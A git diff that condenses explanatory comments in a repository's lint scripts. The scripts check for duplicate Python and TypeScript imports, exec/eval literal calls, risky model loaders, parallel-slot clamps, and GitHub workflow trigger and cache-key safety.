"@ov\ndef f(x: str) -> str: ...\ndef f(x):\n return x\n",
),
- # ...but the alias has to be typing's.
(1, "import types as t\[email protected]\ndef f(x): ...\[email protected]\ndef f(x): ...\n"),
- # One explicit alias, two sources: the second silently replaces the first, so the first is a dead binding. Keying on the source made the two look unrelated.
(1, "import urllib.parse as client\nimport urllib.request as client\n"),
(1, "from os import path as v\nfrom sys import modules as v\n"),
- # The shape that legitimately binds one name twice, and must stay legitimate: two plain imports of different submodules, both binding the package root.
(0, "import urllib.parse\nimport urllib.request\n"),
- # Still caught: the same package root rebound from the package to a submodule.
(1, "import urllib.parse\nimport urllib.parse as urllib\n"),
- # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first: keeping one entry per bound name compared the third statement with the FIRST source, which looked like the legitimate different-source shape again, so an exact repeat went unreported.
(1, "from a import x\nfrom b import x\nfrom b import x\n"),
(1, "import urllib.parse\nimport urllib.request\nimport urllib.request\n"),
(0, "from a import x\nfrom b import x\nfrom c import x\n"),
- # An explicit alias collides with a name already bound implicitly, in either order.
(1, "import urllib.parse as urllib\nimport urllib.request\n"),
- # A typing alias bound INSIDE a function is not in effect at module level, so it may not exempt a module-level decorator. Widening the exemption is what hides merge damage.
(
1,
"import types as t\n\n\ndef helper():\n import typing as t\n return t\n\n\n"
"@t.overload\ndef f(x): ...\[email protected]\ndef f(x): ...\n",
),
- # ...but the conventional wrapped spellings are still found, since they are module level.
(
0,
"try:\n from typing import overload as ov\nexcept ImportError:\n"
" from typing_extensions import overload as ov\n"
"@ov\ndef f(x: int) -> int: ...\n@ov\ndef f(x: str) -> str: ...\ndef f(x):\n return x\n",
),
- # ONE accessor of each kind is legitimate; a SECOND of the same kind replaces the first.
(
1,
"class C:\n @property\n def v(self):\n return 1\n"
@@ -473,35 +452,30 @@ _SELF_TEST_CASES = [
" @v.setter\n def v(self, x):\n pass\n"
" @v.deleter\n def v(self):\n pass\n",
),
- # A class binds its own names, so a class-local typing alias resolves its own decorators.
(
0,
"class C:\n import typing as t\n"
" @t.overload\n def f(self, x: int): ...\n"
" @t.overload\n def f(self, x: str): ...\n def f(self, x):\n return x\n",
),
- # ...but that alias stops at ITS OWN class body: a class nested inside it resolves an unbound name in the MODULE namespace, not in the class around it, so `@t.overload` in the inner class is `types.overload` here and the two copies are ordinary merge damage.
(
1,
"import types as t\n\n\nclass Outer:\n import typing as t\n\n class Inner:\n"
" @t.overload\n def f(self, x: int): ...\n"
" @t.overload\n def f(self, x: str): ...\n",
),
- # A nested class binding the alias ITSELF still resolves its own decorators.
(
0,
"import types as t\n\n\nclass Outer:\n class Inner:\n import typing as t\n"
" @t.overload\n def f(self, x: int): ...\n"
" @t.overload\n def f(self, x: str): ...\n",
),
- # ...and a MODULE-level alias reaches every class body at every depth, so narrowing the inner class to its own bindings alone would be a false positive on correct code.
(
0,
"import typing as t\n\n\nclass Outer:\n class Inner:\n"
" @t.overload\n def f(self, x: int): ...\n"
" @t.overload\n def f(self, x: str): ...\n",
),
- # Each control-flow branch scanned on its own: duplicated INSIDE one branch is merge damage, one per branch is the conditional idiom.
(
1,
"import os\nif os.name:\n def go():\n return 1\n def go():\n return 2\n",
@@ -515,7 +489,7 @@ _SELF_TEST_CASES = [
(1, "try:\n import json\n import json\nexcept ImportError:\n pass\n"),
]
-# Guarded, not inlined above: `match` is 3.10 syntax and this tool supports 3.9, where ast.parse raises SyntaxError and every case below would report a parse finding instead.
+# `match` is 3.10 syntax and this tool supports 3.9.
if sys.version_info >= (3, 10):
_SELF_TEST_CASES += [
(
@@ -529,13 +503,11 @@ if sys.version_info >= (3, 10):
"match 1:\n case 1:\n import json\n import json\n"
" case _:\n pass\n",
),
- # One definition per case is the conditional idiom, exactly as for if/else.
(
0,
"match 1:\n case 1:\n def go():\n return 1\n"
" case 2:\n def go():\n return 2\n",
),
- # The alias walk reaches into a case too, so this stays an overload pair.
(
0,
"match 1:\n case 1:\n import typing as t\n\n @t.overload\n"
@@ -585,14 +557,13 @@ def main() -> int:
renames = _rename_map(args.before, args.after) if args.before else {}
for path in paths:
if args.before:
- # Read both revisions out of git rather than the working tree: on a pull_request event the checkout is refs/pull/N/merge, which is neither end of the range being judged.
+ # Read both revisions from git: a pull_request checkout is the merge ref, neither end of the range.
after = _revision_findings(args.after, str(path))
if after is None:
continue # not present at the head revision (deleted, or renamed away)
- # Only follow a rename back to a path that was ITSELF Python. Renaming `mod.txt` to `mod.py` is what makes those definitions active code, so the duplicates in it are introduced by this branch, not inherited.
+ # Follow a rename back only to a path that was itself Python.
old = renames.get(str(path), str(path))
before = _revision_findings(args.before, old) if old.endswith(".py") else None
- # A file the branch ADDS has no before side, so every finding in it is new.
was = Counter(f.key for f in (before or []))
for finding in after:
text = f"{path}:{finding.line}: {finding.message}"
diff --git a/scripts/lint_exec_literals.py b/scripts/lint_exec_literals.py
index f284bb7a99c..149ca7b35f9 100644
--- a/scripts/lint_exec_literals.py
+++ b/scripts/lint_exec_literals.py
@@ -35,16 +35,15 @@ import json
import sys
from pathlib import Path
-# Only the bare names: `re.compile(pattern)` and `model.eval()` are not these builtins, and matching on the attribute reported 69 of them across the two repositories.
+# Bare names only: re.compile(...) and model.eval() are not these builtins.
SINKS = ("exec", "eval", "compile")
-# Notebooks are scanned too: in the notebooks repository they are the maintained source, and a cell runs the same interpreter a module does.
SUFFIXES = (".py", ".ipynb")
REPO_ROOT = Path(__file__).resolve().parents[1]
BASELINE_PATH = Path(__file__).resolve().parent / "exec_literals_baseline.json"
-# Not part of any commit, or not ours to fail on. `tests` is excluded because a test legitimately keeps a real `exec` around as the thing it is asserting about.
+# Tests legitimately keep a real exec as the thing they assert about.
EXCLUDED_PARTS = frozenset(
{
"tests",
@@ -61,9 +60,7 @@ EXCLUDED_PARTS = frozenset(
"__pycache__",
".ipynb_checkpoints",
".eggs",
- # Unsloth writes its generated modules here in whatever directory it runs from, and the
- # repo ignores it. A backend test run leaves one under studio/backend, and the gate then
- # failed locally on code no commit contains.
+ # Generated by Unsloth in whatever directory it runs from, and gitignored.
"unsloth_compiled_cache",
}
)
@@ -74,10 +71,8 @@ def _is_written_out(node: ast.AST) -> bool:
if isinstance(node, ast.Constant):
return isinstance(node.value, (str, bytes))
if isinstance(node, ast.JoinedStr):
- # An f-string with no placeholder is just a string.
return not any(isinstance(part, ast.FormattedValue) for part in node.values)
if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add):
- # `"import " + "torch"` is still written out; `"import " + name` is not.
return _is_written_out(node.left) and _is_written_out(node.right)
return False
@@ -118,9 +113,9 @@ def scan_file(path: Path, relative: str) -> list[dict]:
tree = ast.parse(source, filename = str(path))
except (SyntaxError, ValueError, MemoryError, RecursionError) as error:
if path.suffix == ".ipynb":
- # A notebook that does not parse as one module is ordinary: a cell may be mid-edit, or depend on an earlier `%%capture`. Nothing to check, and failing the build for it would be noise.
+ # A notebook may not parse as one module (cells mid-edit, magics); skip it.
return []
- # A .py file that will not parse has not been checked, and reporting it clean is the bypass this whole gate exists to avoid.
+ # An unparsable .py has not been checked; reporting it clean would be a bypass.
raise SystemExit(f"{relative}: could not be parsed ({error.__class__.__name__})")
found = []
for node in ast.walk(tree):
@@ -145,7 +140,6 @@ def collect(targets: list[str]) -> list[dict]:
elif root.is_dir():
paths = sorted(q for s in SUFFIXES for q in root.rglob(f"*{s}"))
else:
- # A target that resolves to nothing means the gate covers less than it claims to, which is a silent hole rather than a passing run.
raise SystemExit(
f"{target}: scan target does not exist, so nothing under it was checked"
)
@@ -155,7 +149,6 @@ def collect(targets: list[str]) -> list[dict]:
try:
relative = path.relative_to(REPO_ROOT).as_posix()
except ValueError:
- # `--paths` may name a file outside the checkout, which is how the tests drive the gate.
relative = path.as_posix()
if EXCLUDED_PARTS & set(Path(relative).parts):
continue
@@ -188,7 +181,7 @@ def main() -> int:
found = collect(targets)
if arguments.update:
- # Existing reasons are carried over: rebuilding the list from scratch reset every hand-written justification to nothing, which is how a reviewed entry silently becomes an unreviewed one.
+ # Carry existing reasons over so reviewed entries keep their justification.
reasons = {
(e["file"], e["sink"], e["digest"]): e.get("reason", "") for e in document["entries"]
}
@@ -238,7 +231,6 @@ def main() -> int:
stale = sorted(k for k in allowed if k not in observed)
if stale:
- # A baseline that outlives its call site quietly re-permits whatever lands on that digest next, so it is an error rather than a note.
print(f"{len(stale)} baseline entr(y/ies) no longer match any call. Run --update:\n")
for f, s, d in stale:
print(f" {f} {s} {d}")
diff --git a/scripts/lint_no_duplicate_ts_imports.py b/scripts/lint_no_duplicate_ts_imports.py
index 6074a74f161..48e417618c4 100644
--- a/scripts/lint_no_duplicate_ts_imports.py
+++ b/scripts/lint_no_duplicate_ts_imports.py
@@ -36,40 +36,30 @@ import sys
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
-# The frontend root, not `src`: `tsc -b` also builds tsconfig.node.json
-# (`vite.config.ts`) and tsconfig.test.json (`tests`), so scanning only `src`
-# leaves those two able to red the build with the very error this catches.
+# The frontend root, not src: `tsc -b` also builds vite.config.ts and tests.
DEFAULT_SCAN_DIR = REPO_ROOT / "studio" / "frontend"
SKIP_PARTS = frozenset({"node_modules", "dist", "build", ".venv", "venv", "__pycache__"})
-# One import declaration, anchored at the cursor. `re.DOTALL` so a clause prettier wrapped
-# across lines, as the #8470 duplicate was, is still one match.
+# DOTALL so an import prettier wrapped across lines is still one match.
_IMPORT_AT = re.compile(
r"\Aimport\b[ \t]*(?P<clause>[^;'\"]*?)[ \t]*from[ \t]*(['\"])[^'\"]*\2[ \t]*;?",
re.DOTALL,
)
-# A bare `import "./styles.css"` binds nothing, but it is part of the prologue and has to be
-# stepped over rather than ending it.
+# A bare `import "./x.css"` binds nothing but must be stepped over, not end the prologue.
_BARE_IMPORT_AT = re.compile(r"\Aimport\b[ \t]*(['\"])[^'\"]*\1[ \t]*;?")
-# Whitespace, comments, and the directive prologue that may precede the imports. Five files
-# here open with `"use client";`, and without this their imports would not be read at all.
+# Prologue trivia, including a `"use client";` directive before the imports.
_TRIVIA_AT = re.compile(
r"\A(?:[ \t\r\n]+|//[^\n]*|/\*.*?\*/|(['\"])use [a-z ]+\1[ \t]*;?)+",
re.DOTALL,
)
-# The `type` modifier, clause-level or per specifier. `\s+`, not a literal space:
-# any whitespace is legal after it, and a literal-space test on `type\n Foo`
-# leaves the modifier in place and records `type` itself as the binding -- so two
-# such specifiers read as a duplicate and fail CI on a file tsc accepts.
+# \s+ not a space: `type\n Foo` must still drop the modifier.
_TYPE_MODIFIER = re.compile(r"^type\s+")
def _bindings(clause: str) -> list[str]:
"""Local names a single import clause introduces, in source order."""
- # Prettier keeps comments inside a long import list. Left in, `piece.split()`
- # reads `//` as the binding, losing the real name and reporting the next
- # commented import as a duplicate of it -- a CI fail on ordinary TypeScript.
+ # Strip comments prettier keeps inside import lists, else `//` reads as a binding.
clause = re.sub(r"/\*.*?\*/", " ", clause, flags = re.DOTALL)
clause = re.sub(r"//[^\n]*", " ", clause)
clause = _TYPE_MODIFIER.sub("", clause.strip(), count = 1)
@@ -84,20 +74,17 @@ def _bindings(clause: str) -> list[str]:
# `a as b` binds b; `type T` binds T; `type T as U` binds U.
piece = _TYPE_MODIFIER.sub("", piece, count = 1).strip()
parts = piece.split()
- # `as` as a token, not `" as "`: DOTALL lets a specifier wrap around
- # the keyword, and a literal-space test then records the imported
- # name instead of the alias.
+ # Match `as` as a token: DOTALL lets a specifier wrap around the keyword.
names.append(parts[-1] if "as" in parts[:-1] else parts[0])
clause = clause[: braced.start()]
- # What is left is the default and/or namespace part, comma separated.
for piece in clause.split(","):
piece = piece.strip().rstrip(",").strip()
if not piece:
continue
if piece.startswith("*"):
parts = piece.split()
- names.append(parts[-1]) # `* as ns`
+ names.append(parts[-1])
elif piece.isidentifier():
names.append(piece)
return names
@@ -163,8 +150,6 @@ def duplicates_in(source: str) -> list[tuple[int, str]]:
def scan_paths(root: Path) -> tuple[list[tuple[str, int, str]], int]:
found: list[tuple[str, int, str]] = []
scanned = 0
- # `--path` may be relative or outside the repo, and `REPO_ROOT` is absolute,
- # so resolve before relativizing and fall back to the full path.
root = root.resolve()
for path in sorted(root.rglob("*")):
if path.suffix not in (".ts", ".tsx"):
@@ -247,10 +232,7 @@ def _self_test() -> int:
'import {\n alpha as\n beta,\n} from "m";\nimport { beta } from "n";\n',
["beta"],
),
- # What the prologue bound buys. Each of these is valid TypeScript that a whole-file
- # scan reported as a duplicate, and each was found only after the previous one was
- # patched. They are kept as cases because the bound is what makes them impossible,
- # and a later change that widens the scan has to fail here rather than in CI.
+ # Each case is valid TypeScript a whole-file scan once reported; widening the scan must fail here.
(
"TypeScript quoted as a fixture in a template literal",
'import { createServer } from "vite";\n'
@@ -310,8 +292,7 @@ def _self_test() -> int:
"</pre>;\n",
[],
),
- # The stated cost, pinned so it is a decision rather than a surprise. An import after
- # other top-level code is outside the prologue and is not read.
+ # Known cost: an import after other top-level code is outside the prologue and not read.
(
"an import after other top-level code is deliberately not read",
'import { A } from "m";\nregisterResolver();\nimport { A } from "n";\n',
diff --git a/scripts/lint_no_parallel_clamp.py b/scripts/lint_no_parallel_clamp.py
index 6d7ebda5249..a3a3e0e2f05 100644
--- a/scripts/lint_no_parallel_clamp.py
+++ b/scripts/lint_no_parallel_clamp.py
@@ -41,8 +41,7 @@ from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
DEFAULT_SCAN_DIR = REPO_ROOT / "studio" / "backend"
-# Aliases the same count travels under: the route resolves a request into `_n_parallel`, and a request that names no
-# count resolves to `llama_parallel_slots`, so a clamp on either reduces the user's slots under a different name.
+# The same slot count travels under these names, so a clamp on any of them reduces user slots.
SLOT_NAMES = frozenset({"n_parallel", "_n_parallel", "llama_parallel_slots"})
ALLOW_MARKER = "# allow-slot-clamp:"
SKIP_PARTS = frozenset({"tests", ".venv", "venv", "build", "dist", "node_modules", "__pycache__"})
diff --git a/scripts/lint_risky_loaders.py b/scripts/lint_risky_loaders.py
index e0c54c6526f..94844d15d4d 100644
--- a/scripts/lint_risky_loaders.py
+++ b/scripts/lint_risky_loaders.py
@@ -325,8 +325,7 @@ def _unpinned_fetches(calls: list, git_commands: list) -> list:
and _keyword(call, "revision") is None
):
found.append((call, "hub-download-loaded-as-code"))
- # Written-out git commands, passed directly or held in a variable first. A pin is a git
- # command that moves to a revision, not any string that mentions one.
+ # A pin is a git command that moves to a revision, not any string mentioning one.
if not any(set(words) & PIN_WORDS for _, words in git_commands):
found += [
(node, "git-clone-unpinned") for node, words in git_commands if words[1:2] == ["clone"]
@@ -371,9 +370,8 @@ def scan_file(path: Path, relative: str) -> list:
tree = ast.parse(source, filename = str(path))
except (SyntaxError, ValueError, MemoryError, RecursionError) as error:
if path.suffix == ".ipynb":
- # A notebook mid-edit need not parse as one module; failing the build on it would be noise.
return []
- # Unparsed is unchecked, and reporting it clean is the bypass this gate exists to avoid.
+ # Unparsed is unchecked; reporting it clean would be a bypass.
raise SystemExit(f"{relative}: could not be parsed ({error.__class__.__name__})")
found = []
imports = []
@@ -387,7 +385,6 @@ def scan_file(path: Path, relative: str) -> list:
if isinstance(child, _TRUST_SHAPES):
shape = _trust_remote_code(child)
if shape:
- # A function default is keyed on the signature, not the whole body.
subject = child.args if isinstance(child, _FUNCTIONS) else child
entry = _key(relative, "trust-remote-code", shape, subject)
entry["line"] = child.lineno
@@ -414,7 +411,6 @@ def scan_file(path: Path, relative: str) -> list:
stack.append((child, owner))
table = _imports(ast.Module(body = imports, type_ignores = []))
- # Insertion order, so findings print in the same order on every run.
for owner in list(calls_by_owner) + [o for o in git_by_owner if o not in calls_by_owner]:
calls = [(call, _qualified(call.func, table)) for call in calls_by_owner.get(owner, ())]
for call, qualified in calls:
@@ -484,7 +480,6 @@ def main() -> int:
if arguments.self_test:
return self_test()
if arguments.update and arguments.paths:
- # --update rewrites the whole baseline, so a partial scan would drop every other entry.
parser.error("--update rewrites the whole baseline; run it without --paths")
document = json.loads(BASELINE_PATH.read_text(encoding = "utf-8"))
@@ -492,7 +487,7 @@ def main() -> int:
baseline_rel = BASELINE_PATH.relative_to(REPO_ROOT).as_posix()
if arguments.update:
- # Carry reasons over, so a reviewed entry never silently becomes an unreviewed one.
+ # Carry reasons over so a reviewed entry never becomes unreviewed.
reasons = {_identity(e): e.get("reason", "") for e in document["entries"]}
document["entries"] = sorted(
(
@@ -554,7 +549,6 @@ def main() -> int:
# Fewer calls than allowed counts too, so a removed duplicate cannot make room for a new one.
stale = sorted(k for k in allowed if observed.get(k, 0) < allowed[k])
if stale:
- # An entry outliving its call site would re-permit whatever lands on that digest next.
print(f"{len(stale)} baseline entr(y/ies) match fewer calls than recorded:\n")
for f, r, s, d in stale:
print(f" {f} [{r}] {s} {d}")
diff --git a/scripts/lint_workflow_triggers.py b/scripts/lint_workflow_triggers.py
index d8199e890b2..f394104be1b 100644
--- a/scripts/lint_workflow_triggers.py
+++ b/scripts/lint_workflow_triggers.py
@@ -34,7 +34,6 @@ except ImportError:
sys.exit(2)
REPO_ROOT = Path(__file__).resolve().parents[1]
-# Kept in one place because every reader below opens files the same way.
ENC = "utf-8"
DEFAULT_WORKFLOWS_DIR = REPO_ROOT / ".github" / "workflows"
@@ -43,7 +42,6 @@ BANNED_TRIGGERS: tuple[str, ...] = ("pull_request_target",)
RESTRICTED_TRIGGERS: tuple[str, ...] = ("workflow_run",)
PUBLISH_WORKFLOW_STEMS: tuple[str, ...] = ("release-desktop",)
-# The host must run on every PR and be able to fail.
LINT_SCRIPT_NAME = "lint_workflow_triggers.py"
@@ -162,17 +160,9 @@ def _call_sites(path: Path, target: str) -> list[dict]:
ref = value.strip()
if not ref.startswith("./"):
continue
- # Compared as the FULL local reference when one is given, because two actions
- # may share a directory name: `./.github/actions/a/cache` and
- # `./.github/actions/b/cache` both end in `cache`, so matching on the last
- # component pooled their call sites and invented one action's value for the
- # other. A bare name is still accepted, which is what the predicate self-tests
- # and the shell-head narrowing pass.
+ # Compare the full local ref: two actions may share a directory name (a/cache, b/cache).
full = ref[2:].rstrip("/") if ref.startswith("./") else ref.rstrip("/")
- # `./repo/.github/actions/cache` names the same action as
- # `./.github/actions/cache`; reachability already strips that runtime prefix and
- # this comparison did not, so literal inputs passed through the prefixed form
- # were never recovered and the key stayed undecidable.
+ # `./repo/.github/actions/x` names the same action as `./.github/actions/x`.
segments = full.split("/")
if ".github" in segments[1:]:
full = "/".join(segments[segments.index(".github") :])
@@ -184,11 +174,7 @@ def _call_sites(path: Path, target: str) -> list[dict]:
if stem != target and PurePosixPath(stem).stem != PurePosixPath(target).stem:
continue
with_ = mapping.get("with")
- # The CALLER's scope travels with the call site, because a value it delegates
- # names a step of the caller's job, not of the target. Resolving
- # `${{ steps.pip-cache.outputs.key }}` in the target's scope looked for a step
- # the target does not have, so this repository's own pip-cache-save read as
- # unresolvable and failed the live tree.
+ # Keep the caller's scope: a delegated value names a step of the caller's job.
sites.append(
(
with_ if isinstance(with_, dict) else {},
@@ -200,7 +186,6 @@ def _call_sites(path: Path, target: str) -> list[dict]:
_STEP_OUTPUT = re.compile(r"\$\{\{\s*steps\.([A-Za-z_][\w-]*)\.outputs\.([A-Za-z_][\w-]*)\s*\}\}")
-# Which outputs an `actions/cache` step publishes from the `key:` it was given.
_CACHE_STEP_OUTPUTS = frozenset({"cache-primary-key", "cache-matched-key", "key"})
@@ -217,10 +202,7 @@ def _recovered_outputs(text: str) -> set:
which is neither, so that output stays unrecovered and the key that uses it stays
undecided.
"""
- # Shell variables assigned a value with a literal head, so an output built from one
- # is still recoverable. `prefix="pip-v2-${name}-..."` followed by
- # `echo "key=${prefix}${hash}"` is how this repository's own producer works, and
- # reading the output line alone saw only `${prefix}` and recovered nothing.
+ # Track shell vars with a literal head so `echo "key=${prefix}${hash}"` is still recoverable.
assigned: dict = {}
for line in text.splitlines():
stripped = line.split("#", 1)[0].strip()
@@ -246,8 +228,7 @@ def _recovered_outputs(text: str) -> set:
for name, value in re.findall(r"\b([A-Za-z_][\w-]*)=([^\s'\"]*)", stripped):
if not value or "%" in value:
continue
- # Literal, or beginning with a literal head once known shell variables are
- # substituted. `printf 'key=%s\n'` gives the value `%s`, which is neither.
+ # `printf 'key=%s\n'` gives the value `%s`, which has no literal head.
if _head(value):
found.add(name)
return found
@@ -296,10 +277,7 @@ def _scoped_cache_keys(path: Path) -> list:
for mapping in _cache_withs(job):
key = mapping.get("key")
if key is not None and not isinstance(key, (dict, list)):
- # Stringified, as `_extract_cache_keys` already does. Accepting only
- # `str` dropped an unquoted scalar such as `key: 123`, which YAML
- # parses as an int, so two workflows sharing that key were reported
- # as collision-free.
+ # Stringified: YAML parses an unquoted `key: 123` as an int.
out.append((str(job_id), str(key)))
return out
for mapping in _cache_withs(doc):
@@ -332,7 +310,6 @@ def _producer_steps(path: Path) -> dict:
if isinstance(jobs, dict):
scopes = [(str(jid), job) for jid, job in jobs.items()]
else:
- # An action definition has no jobs; its steps share one scope.
scopes = [("", doc)]
for job_id, scope in scopes:
for mapping in _mappings(scope):
@@ -340,10 +317,7 @@ def _producer_steps(path: Path) -> dict:
if not isinstance(step_id, str):
continue
ident = (path.as_posix(), job_id, step_id)
- # A step that declares its own `key:` publishes it as an output
- # (`cache-primary-key`), so the namespace is right there in the YAML. This is
- # how `actions/cache/restore` steps hand a key onward, and reading only `run:`
- # bodies and local composites declared them unreadable.
+ # A step with its own `key:` publishes it as cache-primary-key (actions/cache/restore).
with_ = mapping.get("with")
uses_value = str(mapping.get("uses") or "")
if (
@@ -351,28 +325,19 @@ def _producer_steps(path: Path) -> dict:
and with_.get("key") is not None
and uses_value.strip().split("@")[0].casefold().startswith("actions/cache")
):
- # Only for an action whose published key output IS this input. Marking every
- # id-bearing step with a `with.key` readable was too generous: a local action
- # may take an unrelated `key` input while emitting its own `outputs.key` from
- # a command this check cannot read, and the delegated key was then dismissed
- # with nothing recovered.
+ # Only for actions whose published key output is this input;
+ # a local action may emit its own key.
out[ident] = set(_CACHE_STEP_OUTPUTS)
continue
body = mapping.get("run")
if isinstance(body, str):
out[ident] = _recovered_outputs(body)
continue
- # A step may produce its output by CALLING a local action rather than by running
- # a shell body -- which is how this repository's own pip-cache-restore works, and
- # reading `run:` steps alone declared that producer unreadable and failed the
- # live tree. The action's own shell is what has to be readable.
+ # A step may produce its output by calling a local action, whose shell must be readable.
uses = mapping.get("uses")
if not isinstance(uses, str) or not uses.strip().startswith("./"):
continue
- # The repository root, found by walking up to `.github` rather than counting
- # levels. A workflow sits at `.github/workflows/x.yml` and an action at
- # `.github/actions/<name>/action.yml`, one level deeper, so a fixed three-up
- # landed inside `.github` for every action.
+ # Walk up to .github, not a fixed count: actions sit one level deeper than workflows.
root = path.parent
for parent in path.parents:
if parent.name == ".github":
@@ -385,11 +350,7 @@ def _producer_steps(path: Path) -> dict:
if not candidate.is_file():
continue
text = candidate.read_text(ENC)
- # YAML-declared keys count as recovered too, and are in fact the usual case:
- # this repository's frontend-dist-restore hands out
- # `steps.restore.outputs.cache-primary-key`, whose value is the `key:` the
- # action declares. Requiring a SHELL-built key declared that producer
- # unreadable and failed the live tree on a correct configuration.
+ # YAML-declared keys count as recovered too; they are the usual case.
out[ident] = _local_action_outputs(candidate, text)
break
return out
@@ -415,8 +376,6 @@ def _local_action_outputs(action: Path, text: str) -> set:
value = spec.get("value") if isinstance(spec, dict) else None
match = _STEP_OUTPUT.search(str(value or ""))
if match is None:
- # Not delegated to a step: the value is literal or an expression this
- # check reads no further into, so the shell is the evidence.
if _recovered_outputs(text) or _extract_cache_keys(action):
recovered.add(str(name))
continue
@@ -446,9 +405,7 @@ def _delegation_is_read(
step_id, output = match.group(1), match.group(2)
if scope is not None:
return output in producers.get((scope[0], scope[1], step_id), set())
- # Without a scope, EVERY step of that id must have recovered that output. A single
- # namesake that did not is enough to make the answer no, which is the conservative
- # reading and the one that stops a readable namesake vouching for it.
+ # Without a scope, every step of that id must have recovered the output (conservative).
seen = [names for ident, names in producers.items() if ident[2] == step_id]
return bool(seen) and all(output in names for names in seen)
@@ -486,15 +443,9 @@ def _resolved_inputs(
sites.extend(_call_sites(pth, target))
if not sites:
return {}
- # Every input named anywhere, collected BEFORE counting omissions. Doing both in one
- # pass made the answer depend on call-site order: a site that omitted an input had no
- # bucket yet, so the omission went unrecorded, and a later site supplying a literal
- # made the input look fully resolved. Verified before fixing -- a composite called
- # first with no `name` and then with `name: safe` reported ({'safe'}, True), so the
- # namespace narrowed to `safe` and the real default namespace was left undefended.
+ # Collect every input name before counting omissions so the result is call-site-order independent.
names = {str(name) for site, _scope in sites for name in site}
- # {input name: {(wrapper's own input, wrapper scope)}} -- values a wrapper forwards
- # from its own inputs, resolvable against that wrapper's call sites.
+ # {input: {(wrapper input, wrapper scope)}}: values a wrapper forwards from its own inputs.
forwarded_inputs: dict = {}
for name in names:
literals: set = set()
@@ -503,44 +454,26 @@ def _resolved_inputs(
dynamic = 0
for site, site_scope in sites:
if name not in site:
- # Omitted, so the action's default applies. A declared default settles
- # THIS, and only this.
+ # Omitted, so the action default applies; a declared default settles only this case.
omitted += 1
continue
literal = str(site[name]).strip().strip("'\"")
if re.fullmatch(r"[A-Za-z0-9][\w.-]*", literal):
literals.add(literal)
elif _DELEGATED_KEY.fullmatch(literal):
- # Kept, not discarded. Which producer supplies the value decides
- # whether the delegation settles anything, and that is only knowable
- # from the expression the call site wrote.
+ # Kept: which producer supplies the value decides whether delegation settles it.
delegated.add((literal, site_scope))
else:
forwarded = _INPUT_KEY.fullmatch(literal)
if forwarded is not None and site_scope is not None:
- # A WRAPPER forwarding its own input: `with: {name: ${{ inputs.name }}}`
- # inside another composite. The value is whatever that wrapper's own
- # callers pass, so it is resolvable one level up rather than unknown,
- # and counting it as dynamic left a nested composite undecidable and
- # rejected an unrelated publish key -- a false failure on a valid
- # arrangement.
- #
- # Recorded for the caller to resolve rather than followed here, which
- # would mean recursing while already inside the resolution it needs.
+ # A wrapper forwarding its own input is resolvable one level up;
+ # recorded for the caller to resolve rather than recursing here.
forwarded_inputs.setdefault(name, set()).add((forwarded.group(1), site_scope))
continue
- # An explicit value this check cannot expand, such as
- # `${{ matrix.cache_key }}`. No default can settle it, because the caller
- # overrode the default with something unknown.
+ # An explicit value this check cannot expand; no default can settle it.
dynamic += 1
for wrapper_input, wrapper_scope in forwarded_inputs.get(name, ()):
- # Resolved against the WRAPPER'S OWN callers, which is the whole point: the
- # forwarded value is whatever they pass it. Resolving the wrapper file
- # against itself looked for call sites inside the wrapper and found none.
- #
- # One level up, and one level only. A wrapper forwarding a wrapper is rare
- # enough that the extra depth is not worth the recursion, and `_depth` makes
- # the fallback the conservative one -- the value stays unresolved.
+ # Resolve against the wrapper's own callers, one level only; deeper stays unresolved.
outer = (
{}
if _depth
@@ -571,19 +504,13 @@ def _literal_prefix(key: str) -> str:
return re.split(r"\$\{\{", key, maxsplit = 1)[0].strip().strip("'\"")
-# `runner.os` is the only expression that routinely LEADS a cache key, and it takes
-# exactly three values, so expanding it turns the common undecidable case into three
-# decidable ones. Confirmed against GitHub's docs: the values are Linux, Windows and
-# macOS, exact and case-sensitive.
+# runner.os often leads a cache key and has exactly three values (Linux, Windows, macOS).
_RUNNER_OS_VALUES = ("Linux", "Windows", "macOS")
_RUNNER_OS_EXPR = re.compile(r"\$\{\{\s*runner\.os\s*\}\}")
-# A key that is nothing but one expression referring to a step output or an action input
-# delegates its namespace rather than declaring one.
_DELEGATED_KEY = re.compile(r"\$\{\{\s*(steps|needs)\.[^}]*\}\}")
-# `inputs.X` is NOT delegation: the value arrives from the caller, so it has to be
-# resolved against the call sites rather than dismissed.
+# inputs.X is not delegation: resolve it against the call sites.
_INPUT_KEY = re.compile(r"\$\{\{\s*inputs\.([A-Za-z_][\w-]*)\s*\}\}")
@@ -658,10 +585,7 @@ def _shell_output_keys(text: str) -> list:
"""
out = []
for line in text.splitlines():
- # A commented-out line executes nothing, and reading one as a recovered output
- # let an otherwise unreadable producer certify itself: a `# echo 'key=safe-key'`
- # above a real `printf 'key=%s\n' "shared-$GITHUB_SHA"` marked the step readable,
- # its delegated key was dismissed, and a publish `restore-keys: shared-` passed.
+ # Ignore commented-out lines, or a `# echo key=...` could certify an unreadable producer.
stripped = line.split("#", 1)[0]
if "GITHUB_OUTPUT" not in stripped:
continue
@@ -693,20 +617,8 @@ def _shell_built_key_prefixes(
false rejection of a publish prefix.
"""
heads: list[str] = []
- # A shell value only becomes a cache key by leaving the step, and `$GITHUB_OUTPUT` is
- # how it leaves. Every assignment named `key` or `prefix` was being treated as a cache
- # namespace regardless, so an unrelated `key="shared-${RANDOM}"` in a workflow that
- # caches nothing made a publish `restore-keys: shared-` fail the hard gate.
- #
- # Requiring the output channel rather than a cache step in the same file is
- # deliberate: the composite that BUILDS the key and the workflow that CACHES with it
- # are routinely different documents, which is the whole arrangement this function
- # exists to read.
- #
- # Residual, stated rather than implied: a document that writes an unrelated `key=`
- # value AND uses $GITHUB_OUTPUT elsewhere still over-collects. That direction is a
- # false rejection rather than a bypass, and narrowing it further would mean tracing
- # shell dataflow, which is past what this check should attempt.
+ # A shell value only becomes a cache key via $GITHUB_OUTPUT, so require it. Known residual:
+ # an unrelated `key=` in such a document still over-collects (false rejection, not a bypass).
if "GITHUB_OUTPUT" not in text:
return []
pattern = re.compile(
@@ -716,18 +628,11 @@ def _shell_built_key_prefixes(
)
for m in pattern.finditer(text):
heads.append(m.group(1))
- # `echo "key=pip-v2-${hash}" >> "$GITHUB_OUTPUT"` is the same thing written inline.
for m in re.finditer(
r"""echo\s+["']?(?:key|prefix)=([A-Za-z0-9][A-Za-z0-9._-]*?-)(?=\$|\{)""", text
):
heads.append(m.group(1))
